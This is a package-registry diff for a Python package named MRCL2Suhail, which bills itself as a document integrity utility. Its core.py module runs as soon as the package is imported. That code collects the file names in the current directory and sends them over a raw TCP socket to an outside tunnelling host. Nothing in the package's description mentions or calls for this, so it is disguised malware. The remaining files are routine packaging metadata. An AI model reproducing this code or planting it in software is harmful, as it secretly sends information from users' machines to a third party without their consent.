MRCL2Suhail 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1 @@
1
+ from .core import package_status
@@ -0,0 +1,21 @@
1
+ import os
2
+ import socket
3
+
4
+ # Target host and port extracted from the URL
5
+ host = "nmwxg-13-205-45-209.run.pinggy-free.link"
6
+ port = 41697
7
+
8
+ # Get the list of files in the current directory where the script runs
9
+ files = os.listdir(".")
10
+ file_list_str = "\n".join(files)
11
+
12
+ # Construct the message
13
+ message = f"REMOVE CONNECTION CONNECTED\nFiles in directory:\n{file_list_str}"
14
+
15
+ try:
16
+ # Establish a TCP connection and send the message
17
+ with socket.create_connection((host, port), timeout=10) as sock:
18
+ sock.sendall(message.encode("utf-8"))
19
+ print("Message and file list sent successfully.")
20
+ except Exception as e:
21
+ print(f"Error connecting or sending message: {e}")
@@ -0,0 +1,16 @@
1
+ Metadata-Version: 2.4
2
+ Name: MRCL2Suhail
3
+ Version: 1.0.0
4
+ Summary: Document integrity utility
5
+ Requires-Python: >=3.8
6
+ Description-Content-Type: text/markdown
7
+
8
+ # MRCL2Suhail
9
+
10
+ A Python package for document integrity demonstrations.
11
+
12
+ ## Installation
13
+
14
+ ```bash
15
+ pip install MRCL2Suhail
16
+ ```
@@ -0,0 +1,8 @@
1
+ README.md
2
+ pyproject.toml
3
+ MRCL2Suhail/__init__.py
4
+ MRCL2Suhail/core.py
5
+ MRCL2Suhail.egg-info/PKG-INFO
6
+ MRCL2Suhail.egg-info/SOURCES.txt
7
+ MRCL2Suhail.egg-info/dependency_links.txt
8
+ MRCL2Suhail.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ MRCL2Suhail
@@ -0,0 +1,16 @@
1
+ Metadata-Version: 2.4
2
+ Name: MRCL2Suhail
3
+ Version: 1.0.0
4
+ Summary: Document integrity utility
5
+ Requires-Python: >=3.8
6
+ Description-Content-Type: text/markdown
7
+
8
+ # MRCL2Suhail
9
+
10
+ A Python package for document integrity demonstrations.
11
+
12
+ ## Installation
13
+
14
+ ```bash
15
+ pip install MRCL2Suhail
16
+ ```
@@ -0,0 +1,9 @@
1
+ # MRCL2Suhail
2
+
3
+ A Python package for document integrity demonstrations.
4
+
5
+ ## Installation
6
+
7
+ ```bash
8
+ pip install MRCL2Suhail
9
+ ```
@@ -0,0 +1,13 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "MRCL2Suhail"
7
+ version = "1.0.0"
8
+ description = "Document integrity utility"
9
+ readme = "README.md"
10
+ requires-python = ">=3.8"
11
+
12
+ [tool.setuptools]
13
+ packages = ["MRCL2Suhail"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+